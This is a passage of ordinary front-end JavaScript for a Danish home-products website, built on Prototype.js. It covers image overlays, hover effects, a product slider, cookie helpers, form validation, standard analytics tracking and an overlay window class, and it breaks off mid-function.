		this.options = Object.extend({
			'elementSelector':		'IMG.overlayable',
			'closeLabel':			'» Luk vindue',
			'altText':				'Se stort foto'
		},options || {});

		// Got elements?
		var elements = $$(this.options.elementSelector);
		if (elements.length == 0) {
			this.log('No matching elements ('+this.options.elementSelector+')');
			return;
		}

		// Subscribe elements
		elements.each(function(imageElement){
			this.subscribeElement(imageElement);
		},this);
		site.log('ImageOverlays is observing '+elements+' elements selected by "'+this.options.elementSelector+'"');

		this.template = new Template(
			'<div class="imageoverlay_image">'+
				'<img src="#{imageSource}" />'+
			'</div>'+	
			'<div class="imageoverlay_close coloredlink">'+
				'<a href="#" class="action_overlaywindowclose">#{closeLabel}</a>'+
			'</div>'
		);

		// Observe visible-event from overlaywindow handler
		document.observe('overlaywindow:visible_imageoverlay_overlay',this._onOverlayVisible.bindAsEventListener(this));

		// Create element
		this.overlayElement = new Element('div',{'id':'imageoverlay_overlay'});
		this.overlayElement
			.addClassName('overlaywindow')
			.addClassName('imageoverlay');

		$$('body').first().insert({'bottom':this.overlayElement});
		(function(){ document.fire('custom:contentrefresh'); }).defer();

		site.log("initialized");
	},
	onClickImage: function(event,imageElement) {
		Event.stop(event);

		// Calculate image source
		var imageSource = imageElement.src;
		// Special miljomini rule
		if (imageSource.match(/miljomini\d+\./) !== null) {
			imageSource = imageSource.replace(/(miljo)mini(\d+\.)/,'$1$2');
		}
		// Apply some URL magic
		var imageFilename = imageSource.substring(imageSource.lastIndexOf("/"));
		var imageSource = "/files/ide.dk/inspiration/fryd/768x384"+imageFilename;

		// Update content
		this.overlayElement.update(this.template.evaluate({
			'imageSource':	imageSource,
			'closeLabel':	this.options.closeLabel
		}));
		this._onElementContentRendered.bind(this).defer();
	},
	_onElementContentRendered: function() {
		new LoadObserver('.imageoverlay_image img',(function(){
			site.showOverlay(this.overlayElement);

			// Check if overlaid image is an image map
			(function(){
				this.log("Checking for imagemaps..");
				new CodeCompany.ImageMapLoader({
					'elementSelector': '.imageoverlay IMG'
				});
			}).bind(this).defer();
		}).bind(this));
	},
	_onOverlayVisible: function() {

	},
	subscribeElement: function(imageElement) {
		imageElement.writeAttribute('alt', this.options.altText);

		// Add imagemap to indicate overlayability
		if (imageElement.src.match(/miljomini\d+\./) !== null) {
			var im = new CodeCompany.ImageMap(imageElement);
			var point = im.addPoint({
				'xPosition':	30,
				'yPosition':	30,
				'xOffset':		-20,
				'yOffset':		-20,
				'popupHtml':	'Klik og se detaljer om produkterne'
			});
			point.getContainerElement().observe('click',this.onClickImage.bindAsEventListener(this,imageElement));
		}

		// Observe clicks
		var observeElement = imageElement;
		imageElement.observe('click',this.onClickImage.bindAsEventListener(this,observeElement));
	}
});


/*** New Overlay Handler ***/

chainDomLoaded.addFunction(function () {
	new ID.ActionClickHandler();
},'ID.ActionClickHandler',1);

chainDomLoaded.addFunction(function () {
	new ID.OverlayHandler();
},'ID.OverlayHandler',1000);


/*** HoverObserver ***/

var HoverObserver = Class.create({
	initialize: function(options) {
		this.options = Object.extend({
			'elementSelector':		'.hoverable',
			'className':			'hover',
			'startEvent':			'mouseenter',
			'stopEvent':			'mouseleave',
			'watchClassName':		'hoverable-observed'
		},options || {});
		var elements = 0;
		$$(this.options.elementSelector).each(function(element){
			if (!element.hasClassName(this.options.watchClassName)) {
				Event.observe(element, this.options.startEvent, this.onStart.bindAsEventListener(this,element));
				Event.observe(element, this.options.stopEvent, this.onStop.bindAsEventListener(this,element));
				elements++;
				element.addClassName(this.options.watchClassName);
			}
		},this);
		site.log('HoverObserver is observing '+elements+' elements selected by "'+this.options.elementSelector+'"');
	},
	onStart: function(event,element) { element.addClassName(this.options.className); },
	onStop: function(event,element) { element.removeClassName(this.options.className); }
});

chainDomLoaded.addFunction(function(){
	// Observe mouse-enter/leave
	new HoverObserver();
},'HoverObserver');


/*** Window Resizer - Fixes background images ***/

var WindowResizer = Class.create({
	log: function(str) {
		site.log(str,'WindowResizer');
	},
	initialize: function() {
		// .maincontainer -> .maincontainerstretcher -> .maincontainerinner
		this.initialized = false;
		this.stretcherElement = $('maincontainerstretcher');
		if (null===this.stretcherElement) {
			this.log('Initialized without #maincontainerstretcher');
			return;
		}
		this.innerElement = $('maincontainerinner');
		if (null===this.innerElement) {
			this.log('Initialized without #maincontainerinner');
			return;
		}
		this.layerElements = $$('DIV.pagebackground');
		this.lastHeight = undefined;
		this.initialized = true;
		//this.resize();

		// Observe events
		Event.observe(window, 'resize',this.onResize.bindAsEventListener(this));
		document.observe("custom:contentrefresh",this.onContentRefresh.bindAsEventListener(this));
	},
	resize: function(logStr) {
		if (!this.initialized) {
			this.log('Call to resize() without proper initialization');
			return;
		}

		// Height of viewport
		var viewport = document.viewport.getDimensions();
		var viewportHeight = viewport['height'];

		// Height of inner element
		var innerHeight = this.innerElement.getHeight();

		// Set height of stretcher + layers
		var height = Math.max(viewportHeight,innerHeight);

		// Skip if height is the same as last time
		if (this.lastHeight===height) { return; }
		this.lastHeight = height;

		this.log('Resizing to height '+height+' ('+logStr+')');
		var heightStr = ''+height+'px';

		if (Prototype.Browser.IE) {
			this.stretcherElement.style.height = heightStr;
			this.layerElements.each(function(element){ element.style.height = heightStr; });
		} else {
			this.stretcherElement.style.minHeight = heightStr;
			this.layerElements.each(function(element){ element.style.minHeight = heightStr; });
		}
	},
	deferredResize: function(logStr) {
		this.resize.bind(this,logStr).defer();
	},
	onResize: function(e) {
		this.deferredResize('Triggered by Window Resize');
	},
	onContentRefresh: function(e) {
		this.deferredResize('Triggered by custom:contentrefresh');
	}
});

chainWindowLoaded.addFunction(function(){
	new WindowResizer();
},'Instantiating WindowResizer',1);

chainWindowLoaded.addFunction(function(){
	document.fire('custom:contentrefresh');
},'Sending custom:contentrefresh event',999);


/*** Image Map ***/

chainWindowLoaded.addFunction(function(){
	new CodeCompany.ImageMapLoader();
	new ImageOverlays();
},'ImageMap/Overlays');



/*** ? ***/

function fixProductLinksPosition() {
	var source = $('produktlinks');
	var destination = $('prodlinksplaceholder');
	if (source==null || destination==null) { return; }
	destination.replace(source);
}


/*** Hook on chains ***/

chainDomLoaded.addFunction(function () {
	document.fire('custom:systemfontreplace');
},'Font-replace');

chainDomLoaded.addFunction(function(){
	fixProductLinksPosition();
},'FixProductLinksPosition');

chainWindowLoaded.addFunction(function(){
	$$('.forsideartikel_bottomimage').each(function(element){
		var imagelayer = element.select('.imagelayer').first();
		if (!imagelayer) { return; }
		var linklayer = element.select('.linklayer').first();
		if (!linklayer) { return; }

		// site.log('ImageLayer: '+imagelayer.getWidth()+'x'+imagelayer.getHeight());
		// site.log('LinkLayer: '+linklayer.getWidth()+'x'+linklayer.getHeight());

		var width = imagelayer.getWidth();
		var height = imagelayer.getHeight();

		var tmp;
		if ((tmp=linklayer.getWidth())>width) { width=tmp; }
		if ((tmp=linklayer.getHeight())>height) { height=tmp; }

		site.log('Setting element '+element.toString()+' to '+width+'x'+height);

		// Set main container size
		element.style.height = height+'px';
		element.style.width = width+'px';

		// Set linklayer size
		linklayer.style.height = height+'px';
		linklayer.style.width = width+'px';

		// Set imagelayer size
		imagelayer.style.height = height+'px';
		imagelayer.style.width = width+'px';

	});
},'LinkImage Tweak');


// Tracking

//var pageTracker = new CodeCompany.PageTracker();

chainWindowLoaded.addFunction(function(){
	var sslEnabled = document.location.protocol=='https:';
	var urlprefix = document.location.protocol+'//';
	var logPrefix = 'Tracking';
	
	// Illumi logging
	var viaElementId = site.getViaProperty('ElementId');
	if (viaElementId !== undefined) {
		var loggingUrl = '/logging/page/'+viaElementId;
		LazyLoader.load(loggingUrl,function(){
			site.log('Page logged ('+viaElementId+')',logPrefix);
		});
	} else {
		site.log('Page not logged (missing ElementId)',logPrefix);
	}

	// Globase Tracking
	var globaseUrl = urlprefix+'pagetracking.globase.com/tracking.php?guid=b516476c';
	LazyLoader.load(globaseUrl,function(){
		site.log('Globase tracking loaded',logPrefix);
	});

	// Yahoo
	try {
		var opts = {
			logFunction: function(str){site.log(str,'PageTrackerYahoo');}
		};
		var value;
		if ((value=site.getViaProperty('yahooDocumentGroup'))!='') {
			opts.defaultDocumentGroup = value;
		}
		if ((value=site.getViaProperty('yahooDocumentName'))!='') {
			opts.defaultDocumentName = value;
		}
		new CodeCompany.PageTrackerYahoo('10001510305370',opts);
	} catch(e) {
		site.log('Failed to instantiate: '+e.message,'PageTrackerYahoo');
	}

	// Google
	try {
		new CodeCompany.PageTrackerGoogle('UA-12685907-1',{
			logFunction: function(str){site.log(str,'PageTrackerGoogle');}
		});
	} catch(e) {
		site.log('Failed to instantiate: '+e.message,'PageTrackerGoogle');
	}

},'Tracking',100000);


/*** Service Ready Chain ***/

var servicetoken;
chainWindowLoaded.addFunction(function(){
	var logPrefix = 'GetSession';

	new Ajax.Request('/systemservice/getservicetoken',{
		// POST request:
		// parameters: { 'jsonreq': 1 },
		
		// GET request:
		parameters: { 'docid': 1 },
		method: 'get',

		onSuccess: function() {
			var sessionSID = CodeCompany.Cookie.read('sid');
			var sessionGUID = CodeCompany.Cookie.read('guid');
			if ((sessionSID=="") || (sessionGUID=="")) {
				site.log('Error - Empty SID/GUID returned from server',logPrefix);
				return;
			}
			servicetoken = sessionSID+','+sessionGUID;
			site.log('Service token: '+servicetoken,logPrefix);
			chainSessionReady.executeChain();
		},
		onError: function() {
			site.log('Async request for SID/GUID failed',logPrefix);
		}
	});
},'GetSession',200);


/*** ImageFrames ***/

chainWindowLoaded.addFunction(function(){
	new CodeCompany.ImageFrames();
},'ImageFrames');


/*** Class for pop-up windows - kan evt. udbygges med bekræftelse af nyt vindue ***/

var popWindow = Class.create({
    initialize: function (idName,linkType,linkDest) {
        // code to execute
        site.log('popWindow('+ linkDest +','+ linkType +','+ idName +') : initialized');
        if (linkType == "_blank"){
            Event.observe(idName, 'click', function(event) {
               site.log('popWindow: clicked');
               window.open( linkDest );
            });
		} else {
			Event.observe(idName, 'click', function(event) {
				site.log('popWindow: clicked');
				window.location = linkDest;
			});
		}
	}
});


/*** DateValidation ***/

function isDate(year, month, day) {
	month = month - 1; // javascript month range 0 - 11
	var tempDate = new Date(year,month,day);
	return ((year == tempDate.getFullYear()) && (month == tempDate.getMonth()) && (day == tempDate.getDate()));
}


/*** Google analytics goal-tracking shortcut ***/

function trackEvent(goal){
	// pageTracker._trackPageview(goal);
	document.fire('custom:googletrack', { trackUrl: goal });
	site.log('tracking goal: '+goal);
}

/*** Delivery dialog ***/
chainDomLoaded.addFunction(function() {
	new ID.DeliveryDialog();
}, 'ID.DeliveryDialog');

var HoverSiblings = Class.create({
	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('HoverSiblings: '+str); }
	},
	initialize: function(elementIdArr, options) {
		this.options = Object.extend({
			onMouseEnter: function(element){ element.addClassName('hover'); },
			onMouseLeave: function(element){ element.removeClassName('hover'); },
			siblingElementSelector: '.siblingelement',
			delay: 10
		}, options || {});
		this.hoverElement = null;
		this.timeout = null;
		this.containerArr = new Array();
		// Helper:
		if (undefined!=elementIdArr) {
			var self=this;
			elementIdArr.each(function(item){ self.addContainer(item); });
		}
	},
	addContainer: function(containerElementId) {
		var id = this.containerArr.length;
		this.containerArr[id] = new Array();
		this.containerArr[id]['containerElement'] = $(containerElementId);
		this.containerArr[id]['elementArr'] = this.containerArr[id]['containerElement'].select(this.options.siblingElementSelector);
		this.containerArr[id]['elementArr'].each(function(item){
			item.observe('mouseover',this.onMouseOver.bindAsEventListener(this,item,true));
			item.observe('mouseout',this.onMouseOver.bindAsEventListener(this,item,false));
		},this);
		this.log("Added container with "+this.containerArr[id]['elementArr'].length+" elements (selector="+this.options.siblingElementSelector+")");
	},
	enterElements: function(id,isEntering) {
		this.containerArr.each(function(item){
			var element = item['elementArr'][id];
			if (undefined!=element) {
				if (isEntering) {
					this.log('Entering element '+element);
					this.options.onMouseEnter(element);
				} else {
					this.log('Leaving element '+element);
					this.options.onMouseLeave(element);
				}
			}
		},this);
	},
	enterElement: function(element,isEntering) {
		this.containerArr.each(function(item){
			if ((id=item['elementArr'].indexOf(element))>=0) this.enterElements(id,isEntering);
		},this);
	},
	delayedMouseOver: function(element,isMouseOver) {
		if (this.hoverElement!=null) { this.enterElement(this.hoverElement,false); }
		this.hoverElement = (isMouseOver ? element : null);
		if (this.hoverElement!=null) { this.enterElement(this.hoverElement,true); }
	},
	onMouseOver: function(event,observerElement,isMouseOver) {
		var eventElement = event.findElement();
		this.delayedMouseOver(observerElement,isMouseOver);
		Event.stop(event);
	}
});	

Effect.SmoothSliderSetValue = Class.create(Effect.Base, {
	initialize: function(element) {
		this.element = element;
		if (!this.element) throw(Effect._elementDoesNotExistError);
		var options = Object.extend({
			from: 0,
			to: 0,
			duration: 1.0
		}, arguments[1] || { });
		this.factor = 1/(options.to-options.from);
		this.start(options);
	},
	update: function(position) {
		this.element.setValue(position);
	}
});

var ProductOverviewThumbSlider = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log("ProductOverviewThumbSlider: "+str); }
	},
	
	initialize: function(options) {
		this.options = Object.extend({
			horizontalSwitchElement:		'gohorizontal',
			verticalSwitchElement:			'govertical',
			containerElement:				'productoverview',
			windowContainerElement:			'productblockcontainer',
			windowWidthSlack:				undefined,			// Width of right-most visible window margin that should be skipped
			sourceContainerElement:			'productblocks_source',
			destinationContainerElement:	'productblocks',
			horizontalRows:					3,
			sliderButtonLeft:				'sliderbuttonleft',
			sliderButtonRight:				'sliderbuttonright',
			slidertrackElement:				'slidertrack',
			columnWidths:					{
												'wide':	232+39,
												'tall':	120+11
											},
			minSliderWidth:					63,
			
			autoRender:						true 
		}, options || {});

		this.columnWidthsHash = new Hash(this.options.columnWidths);

		this.mousedown = false;

		this.leftElement = $(this.options.sliderButtonLeft);
		this.rightElement = $(this.options.sliderButtonRight);

		this.source = $(this.options.sourceContainerElement);
		this.destination = $(this.options.destinationContainerElement);
		this.destinationClassName = this.destination.className;

		this.containerElement = $(this.options.containerElement);
		this.window = $(this.options.windowContainerElement);
		this.windowWidth = this.window.getWidth();

		this.windowWidthSlack = this.options.windowWidthSlack;
		if (this.windowWidthSlack===undefined) {
			if (this.containerElement.hasClassName('wide_only')) { this.windowWidthSlack = 39; }
			else if (this.containerElement.hasClassName('tall_only')) { this.windowWidthSlack = 11; }
			else { this.windowWidthSlack = 0; }
			this.log('Window Width Slack: '+this.windowWidthSlack);
		}

		this.slidertrack = $(this.options.slidertrackElement);
		this.slidertrackWidth = this.slidertrack.getStyle('width').gsub(/px$/,'');

		// Set options
		this.options.sliderStepWidth = this.windowWidth + this.windowWidthSlack;

		this.log('Slider Step Width: '+this.options.sliderStepWidth);

		this.sliderBlock = ($$('.sliderblock')).first();
		this.sliderhandle = $('sliderhandle');

		this.leftElement.observe('click',this.sliderButtonLeft.bindAsEventListener(this));
		this.rightElement.observe('click',this.sliderButtonRight.bindAsEventListener(this));
		this.updateButtons();

		//
		// SEV: Selve kopieringen af elementer fra source er flyttet ud for sig
		// Se case 15226
		//
		if ( this.options.autoRender )
		{
			this.render();
		}

		this.log("Initialized.");
	},
	
	render: function()
	{
		this.onePageOnly = this.getOnePageOnly();

		// Enough elements to require a slider?
		if (this.onePageOnly) {
			this.log('One page only.');
			
			// Hide mode text + icons
			$$('.modetext').each( function(element){ element.hide(); } );
			$('gohorizontal').hide();
			$('govertical').hide();
			
			// Go Vertical - but without changing cookie
			this.selectMode('vertical',false);
		} else {

			// Mode buttons
			this.log("Observing buttons..");
			$(this.options.horizontalSwitchElement).observe('click',this.modeClick.bindAsEventListener(this,'horizontal'));
			$(this.options.verticalSwitchElement).observe('click',this.modeClick.bindAsEventListener(this,'vertical'));
			this.selectMode(CodeCompany.Cookie.read('productoverview_mode'),false);
		}
	},

	getOnePageOnly: function() {
		var result = this.buildMode('horizontal');
		return (result.width <= (this.windowWidth+this.windowWidthSlack+10)); // Allow 10 pixels error margin
	},

	setSliderValue: function(value) {
		if (value<0) { value=0; }
		if (value>1) { value=1; }
		var oldvalue = this.sliderControl.value;
		if (value==oldvalue) { return; }

		this.updateButtons(value);
		
		if (this.smoothEffect) {
			this.smoothEffect.cancel();
		}
		this.moveWindow(oldvalue);
		this.smoothEffect = new Effect.SmoothSliderSetValue(this.sliderControl,{
			from: oldvalue,
			to: value
		});
	},

	setEnabledClass: function(element,enabled) {
		if (enabled) {
			element.removeClassName('disabled').addClassName('enabled');
		} else {
			element.removeClassName('enabled').addClassName('disabled');
		}
	},

	updateButtons: function(value) {
		if (value===undefined) { value=this.sliderLastValue; }
		this.setEnabledClass(this.leftElement, value>0);
		this.setEnabledClass(this.rightElement, value<1);
	},

	sliderButtonLeft: function() {
		this.setSliderValue((this.sliderLastOffset - this.options.sliderStepWidth)/this.sliderFactor);
	},

	sliderButtonRight: function() {
		this.setSliderValue((this.sliderLastOffset + this.options.sliderStepWidth)/this.sliderFactor);
	},

	sliderChange: function(value) {
		this.moveWindow(value);
	},

	sliderScroll: function(value) {
		this.moveWindow(value);
		this.updateButtons(value);
	},

	moveWindow: function(value) {
		var offset = Math.floor(value*this.sliderFactor);
		if (offset==this.sliderLastOffset) { return; }
		this.sliderLastOffset = offset;
		this.sliderLastValue = value;
		this.destination.style.left = '-'+offset+'px';
	},

	modeClick: function(event,mode) {
		this.log('Mode Click: '+mode);
		this.selectMode(mode,true);
	},

	getElementWidthName: function(element) {
		var childElement = element.down('div').down('div');
		if (childElement.hasClassName('productblock_wide')) { return 'wide'; }
		if (childElement.hasClassName('productblock_tall')) { return 'tall'; }
	},

	getColumnWidth: function(widthName) {
		var width = this.columnWidthsHash.get(widthName);
		return width;
	},

	buildMode: function(mode) {
		var result = {
			'html': '',
			'width': 0
		};

		if (mode=='vertical') {
			this.source.childElements().each(function(element){
				result.html += element.innerHTML;
			},this);
			result.width = this.windowWidth + this.windowWidthSlack;
		}
		else {
			var rows = 0;
			var columnTemplate = '<div class="column column_#{width}">#{html}</div>'; // Not a real template
			var columnWidthName = 'unknown';
			var columnHtml = '';

			this.source.childElements().each(function(element){
				if (rows===0) {
					columnWidth = 'unknown';
					columnHtml = '';
				}

				var elementWidthName = this.getElementWidthName(element);
				if ((columnWidthName=='unknown') || (columnWidthName=='tall')) {
					columnWidthName = elementWidthName;
				}

				columnHtml += element.innerHTML;
				rows++;

				if (rows==this.options.horizontalRows) {
					rows = 0;
					result.html += columnTemplate.replace('#{width}',columnWidthName).replace('#{html}',columnHtml);
					result.width += this.getColumnWidth(columnWidthName);
				}
			},this);

			if (rows) {
				result.html += columnTemplate.replace('#{width}',columnWidthName).replace('#{html}',columnHtml);
				result.width += this.getColumnWidth(columnWidthName);
			}
		}

		return result;
	},

	selectMode: function(mode,saveCookie) {
		this.log("Selecting mode: "+mode);

		if (saveCookie===true) { CodeCompany.Cookie.write('productoverview_mode',mode); }

		result = this.buildMode(mode);
		
		// Vertical mode
		if (mode=="vertical") {
			// Set class
			this.containerElement.removeClassName('horizontal');
			this.containerElement.addClassName('vertical');

			// No slider, thanks
			this.sliderBlock.hide();

			// Make sure we haven't moved the sliding window
			this.destination.setStyle({
				'left': '',
				'width': ''
			});

		}
		// Horizontal Mode
		else {
			// Set class
			this.containerElement.removeClassName('vertical');
			this.containerElement.addClassName('horizontal');
			// Slider visible?
			if (!this.onePageOnly) {

				// Do some calculation on slider width
				var sliderWidth = Math.max(
					this.options.minSliderWidth,
					Math.min(
						this.slidertrackWidth,
						Math.floor(
							this.slidertrackWidth * (this.windowWidth / result.width)
						)
					)
				);
				this.sliderhandle.setStyle({
					'width':	''+sliderWidth+'px'
				});
				
				this.sliderLastOffset = 0;
				this.sliderLastValue = 0;

				this.sliderFactor = result.width - this.windowWidthSlack - this.windowWidth;
				if (this.sliderFactor<0) { this.sliderFactor = 0; }

				this.log('slidertrackWidth='+this.slidertrackWidth+', sliderWidth='+sliderWidth+', sliderFactor='+this.sliderFactor);

				this.sliderhandle.observe('mousedown',this.onSliderMouseDown.bindAsEventListener(this));
				document.observe('mouseup',this.onSliderMouseUp.bindAsEventListener(this));

				this.sliderBlock.show();

				(function(){
					this.log('Showing slider..');
					// Set up slider
					this.sliderControl = new Control.Slider(this.sliderhandle,this.slidertrack,{
						axis: 'horizontal',
						onSlide: this.sliderScroll.bind(this),
						onChange: this.sliderChange.bind(this)
					});
					this.sliderControl.setValue(0);
					this.updateButtons();
					this.log('Showing slider done..');
					// Set up slider
				}).bind(this).defer();

			}
		}

		this.destination.style.width = (result.width+100)+'px'; // Make sure there's plenty of room
		this.destination.update(result.html);

		new HoverSiblings([this.destination.id],{siblingElementSelector:".productblock"});

		//if (Prototype.Browser.IE && (navigator.userAgent.match(/MSIE 7/)!==null)) {
		//	this.log("IE7 requires manual triggering of windowResizer.resize()");
			document.fire("custom:contentrefresh");
		//}


	},

	onSliderMouseDown: function(e) {
		if (this.mousedown) { return; }
		if (this.slidertrack!==undefined) { this.slidertrack.addClassName('mousedown'); }
		this.mousedown = true;
	},

	onSliderMouseUp: function(e) {
		if (!this.mousedown) { return; }
		if (this.slidertrack!==undefined) { this.slidertrack.removeClassName('mousedown'); }
		this.mousedown = false;
	}
		
});	

if ( Object.isUndefined(CodeCompany) ) { var CodeCompany = { }; }

CodeCompany.Cookie = {
	
	/** Reads a cookie
	  * @param name string Name of cookie to read
	  * @returns string Value of cookie, "" if not present
	  */
	read: function(name)
	{
		var retval = "";
		var rexp = new RegExp(name+"=([^;]+)");
		var value = document.cookie.match(rexp);
		
		if ( value != null ) 
		{
			retval = value[1];
		}
				
		return retval;
	},
	
	/** Writes a cookie
	  * @param name string Name of the cookie
	  * @param value string Value of the cookie
	  * @param expiry int Optional expiry of cookie in days. -1 deletes cookie, no expiry means session cookie
	  */
	write: function(name, value, expiry)
	{
		var expires = "";
		
		if ( expiry != null )
		{
			var d = new Date();
			d.setTime(d.getTime()+(expiry*24*60*60*1000));
			expires = "; expires="+d.toGMTString();
		}
		
		document.cookie = name+"="+value+expires+"; path=/";
	},
	
	/** Deletes a cookie
	  * @param name string Name of cookie to delete
	  */
	erase: function(name)
	{
		CodeCompany.Cookie.write(name, "", -1);
	}
};var ThumbSlider = Class.create({
	log: function(what) {
		if (!Object.isUndefined(site)) { site.log('ThumbSlider: '+what); }
	},

	getElementsByClassName: function(classname) {
		return this.containerElement.select('.'+classname);
	},

	getElementByClassName: function(classname,firstonly) {
		var elements = this.getElementsByClassName(classname);
		if (elements[0]===undefined) {
			this.log('Unable to select at least one element with class "'+classname+'" in #'+this.containerElement.id);
			return false;
		}
		return elements[0];
	},

	initialize: function(containerElementId,options) {

		// Options
		this.options = Object.extend({
			'contentClassName':		'thumbslidercontent',
			'windowClassName':		'thumbsliderwindow',
			'leftClassName':		'sliderbutton_left',
			'rightClassName':		'sliderbutton_right',
			'itemClassName':		'thumbslideritem'
		}, options || {});

		this.log('Initializing..');

		// Element shortcuts
		this.containerElement = $(containerElementId);
		if (!this.containerElement) {
			this.log('Unable to find element #'+containerElementId);
			return false;
		}

		// Shortcuts (required!)
		if (!(this.contentElement = this.getElementByClassName(this.options.contentClassName))) { return false; }
		if (!(this.windowElement = this.getElementByClassName(this.options.windowClassName))) { return false; }
		if (!(this.leftElement = this.getElementByClassName(this.options.leftClassName))) { return false; }
		if (!(this.rightElement = this.getElementByClassName(this.options.rightClassName))) { return false; }

		this.setup();

		// Attach events
		this.attach();

		// Update buttons
		this.updateButtons();

		this.log('Initialized.');

	},

	setEnabledClass: function(element,enabled) {
		if (enabled) {
			element.removeClassName('disabled').addClassName('enabled');
		} else {
			element.removeClassName('enabled').addClassName('disabled');
		}
	},

	setup: function() {

		// Calculate window width
		this.windowWidth = this.windowElement.getWidth();

		// Calculate total width of items
		this.itemsWidth = 0;
		var lastWidth = 0;
		this.getElementsByClassName(this.options.itemClassName).each((function(element){
			lastWidth = element.getWidth();
			this.itemsWidth += lastWidth;
			this.log('Adding element with width '+lastWidth);
		}).bind(this));

		// Slider
		this.sliderPosition = 0;
		this.sliderPageWidth = this.windowWidth;
		this.sliderPositionMax = (Math.ceil(this.itemsWidth-this.windowWidth));
		this.sliderEffect = undefined;
		this.log('itemsWidth='+this.itemsWidth+' sliderPageWidth='+this.sliderPageWidth+' sliderPositionMax='+this.sliderPositionMax);

		// Update height of left/right elements
		var height = this.windowElement.getHeight();
		this.leftElement.style.height = height+'px';
		this.rightElement.style.height = height+'px';
		this.log('Button elements height updated to '+height+' pixels');

	},

	attach: function() {
		this.log('Attaching..');
		this.containerElement.observe('click',this.onClickAggregator.bindAsEventListener(this));
	},

	move: function(position) {
		if (undefined!==this.sliderEffect) { this.sliderEffect.cancel(); }
		this.sliderPosition = position;
		if (this.sliderPosition<0) { this.sliderPosition=0; }
		if (this.sliderPosition>this.sliderPositionMax) { this.sliderPosition=this.sliderPositionMax; }
		this.log('Moving to position '+this.sliderPosition);
		this.sliderEffect = new Effect.Move(this.contentElement,{mode: 'absolute',x: 0-this.sliderPosition,y: 0,duration: 1});
		this.updateButtons();
	},

	updateButtons: function() {
		this.setEnabledClass(this.leftElement, this.sliderPosition>0);
		this.setEnabledClass(this.rightElement, this.sliderPosition<this.sliderPositionMax);
	},

	onClickAggregator: function(event) {
		var element = Event.element(event);
		if (element.hasClassName('disabled')) { return; }

		if (element == this.leftElement) {
			this.log('Left clicked');
			this.move(this.sliderPosition-this.sliderPageWidth);
			Event.stop(event);
		}
		else if (element == this.rightElement) {
			this.log('Right clicked');
			this.move(this.sliderPosition+this.sliderPageWidth);
			Event.stop(event);
		}
	}

});



CodeCompany.Forms2 = Class.create({
	ignoreevents: false,
	log: function(logStr) {
		if (!Object.isUndefined(site)) {
			site.log('CodeCompany.Forms2['+this.form.id+'].'+logStr);
		}
	},
	initialize: function(formId, options) {
		this.form = $(formId);
		this.validation = {};
		this.log('initialize()');
		
		this.options = Object.extend({
			onPostValidationSubmit: function() { return true; }
		}, options || {});
		
		//new Form.Observer(this.form,0.75,this.onChange.bindAsEventListener(this));
		this.form.observe('submit',this.onSubmit.bindAsEventListener(this));
	},
	onSubmit: function(event) {
		if (!this.validateForm()) {
			Event.stop(event);
			return false;
		}
		if ( !this.options.onPostValidationSubmit() )
		{
			Event.stop(event);
			return false;
		}
	},
	onBlur: function(event) {
		var element = event.element();
		this.validateField(element.id,false);
	},
	observeField: function(fieldId) {
		this.log('observeField('+fieldId+')');
		this.validation[fieldId].field.observe('blur',this.onBlur.bindAsEventListener(this));
	},
	addRequired: function(fieldId,message) {
		this.log('addRequired("'+fieldId+'","'+message+'")');
		this.validation[fieldId] = Object.extend({
			field: $(fieldId),
			message: message,
			required: true
		},this.validation[fieldId] || {});
		this.observeField(fieldId);
	},
	addRegexp: function(fieldId,regexp,message) {
		this.log('addReqExp("'+fieldId+'","'+regexp+'","'+message+'")');
		this.validation[fieldId] = Object.extend({
			field: $(fieldId),
			message: message,
			regexp: regexp
		},this.validation[fieldId] || {});	
		this.observeField(fieldId);
	},
	validateField: function(fieldId,showError) {
		var validation = this.validation[fieldId];
		var validated = true;
		var value = validation.field.value.replace(/^\s+|\s+$/,'');
		if (validated && validation.required && (value=='')) {
			validated = false;
		}
		if (validated && (validation.regexp!==undefined) && (value.match(validation.regexp)==null)) {
			validated = false;
		}
		this.log('validateField('+fieldId+') = '+validated);

		if (validated) {
			validation.field.removeClassName('error').addClassName('validated');
		} else {
			validation.field.removeClassName('validated');
			if (showError) {
				validation.field.addClassName('error');
			}
		}

		return validated;
	},
	validateFieldShowError: function(fieldId) {
	},
	validateForm: function() {
		this.ignoreevents = true;
		var validated = this.validateFormRaw();
		this.ignoreevents = false;
		this.log('validateForm() = '+validated);
		return validated;
	},
	validateFormRaw: function() {
		this.log('validateFormRaw()');
		var errors = 0;
		Object.keys(this.validation).each(function(key){
			var field = $(key);
			if (!this.validateField(key,true)) { errors++; }
		},this);
		return errors==0;
	}
});

/*** Functions called by Forms2 Module ***/

/*
function AddRequiredValidation(fieldId,message) { return CodeCompany.Forms2.addRequired(fieldId,message); }
function AddRegexValidation(fieldId,regexp,message) { return CodeCompany.Forms2.addRegexp(fieldId,regexp,message); }
function ValidateForm(message) { return CodeCompany.Forms2.validateForm(message); }
*/
var OverlayWindow = Class.create({

	log: function(what) {
		if (!Object.isUndefined(site)) { site.log('OverlayWindow: '+what); }
	},

	initialize: function(divId,options) {
		// Options
		this.options = Object.extend({
			autoPositionOnEvent:	true,
			positionTop:			100,
			positionLeft:			undefined,
			minimumiSpacingTop:		0,
			overlayId:				divId+'_overlay'
		}, options || {});

		this.body = $$('BODY')[0];

		this.shown = false;

		if (typeof(divId)=='object') {
			this.div = divId;
			divId = this.div.id;
		} else {
			this.div = $(divId);
		}

		if (undefined===this.div) {
			this.log('Unable to locate #'+divId);
			return false;
		}

		// Construct overlay
		this.overlay = new Klean.Overlay(divId+'_overlay',{
			background:		'#000000',
			observeResize:	false	// We'll do this ourselves
		});

		// Keep bound functions, so we can stop observing events based on them
		this.onResizeBound = this.onResize.bindAsEventListener(this);
		this.onScrollBound = this.onScroll.bindAsEventListener(this);

		this.lastDivLeft = undefined;
		this.lastDivTop = undefined;

		this.wrapper = new Element('div');
		this.wrapper.setStyle({
			'zIndex':	999,
			'position':	'absolute',
			'left':		0,
			'top':		0
			// 'backgroundColor': '#fff'
		});
		this.wrapper.hide();
		this.div.wrap(this.wrapper);
	/*Nooooo!*/
	
		this.div.setStyle({
			'margin':	'0 auto'
		});
		this.div.show(); // Backwards compatability
	},

	onResize: function(e) {
		// this.log('onResize()');
		this.position(true);
	},

	onScroll: function(e) {
		// this.log('onScroll()');
		this.position(true);
	},

	position: function(move) {

		// Div size
		var divWidth = this.div.getWidth();
		var divHeight = this.div.getHeight();
		var divTop = 0;
		var divLeft = 0;

		// Calculate position
		var offset = document.viewport.getScrollOffsets();
